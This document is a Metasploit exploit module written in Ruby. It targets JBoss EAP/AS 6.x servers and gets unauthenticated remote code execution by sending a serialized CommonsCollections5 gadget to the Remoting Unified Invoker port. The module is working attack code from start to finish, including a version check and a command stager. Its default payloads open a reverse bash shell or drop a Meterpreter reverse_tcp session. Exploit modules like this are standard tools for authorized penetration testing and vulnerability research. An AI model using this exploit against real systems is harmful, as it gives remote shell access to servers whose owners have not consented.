JBOSS EAP/AS 6.x Remote Code Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::JavaDeserialization
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JBOSS EAP/AS Remoting Unified Invoker RCE',
        'Description' => %q{
          An unauthenticated attacker with network access to the JBOSS
          EAP/AS <= 6.x Remoting Unified Invoker interface can send a
          serialized object to the interface to execute code on vulnerable hosts.
        },
        'Author' => [
          'Joao Matos <@joaomatosf>',         # Discovery
          'Marcio Almeida <@marcioalm>',      # PoC
          'Heyder Andrade <@HeyderAndrade>'   # msf module
        ],
        'References' => [
          [ 'URL', 'https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf']
        ],
        'DisclosureDate' => '2019-12-11',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'printf' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      Opt::RPORT(4446)
    ])
  end

  def handshake_data
    # MAGIC BYTES JAVA SERIALIZATION OBJECT HEADER
    # AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.
    # 00 05: STREAM_VERSION. The serialization version.
    ['aced0005'].pack('H*')
  end

  def check
    connect
    sock.put(handshake_data)
    data = sock.get_once(16)
    disconnect
    return Exploit::CheckCode::Appears if data == handshake_data

    return Exploit::CheckCode::Safe
  rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
    print_error("Error to connect #{rhost}:#{rport} : '#{e.class}' '#{e}'")
    return Exploit::CheckCode::Unknown
  end

  # def exploit
  def execute_command(cmd, _opts = {})
    java_payload = generate_java_deserialization_for_command('CommonsCollections5', 'bash', cmd)
    # MAGIC BYTES JBOSS PROTOCOL:
    # 0x77: TC_BLOCKDATA
    # 0x01: Length of TC_BLOCKDATA
    # 0x16: Protocol version 22
    # 0x79: TC_RESET
    magic_bytes = ['77011679'].pack('H*')
    payload = magic_bytes + java_payload.byteslice(4..)
    connect
    sock.put(handshake_data)
    sock.get_once(16)
    sock.put(payload)
    disconnect
    print_good('Successfully sent payload')
  rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
    fail_with(Failure::Unreachable, e.message)
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

end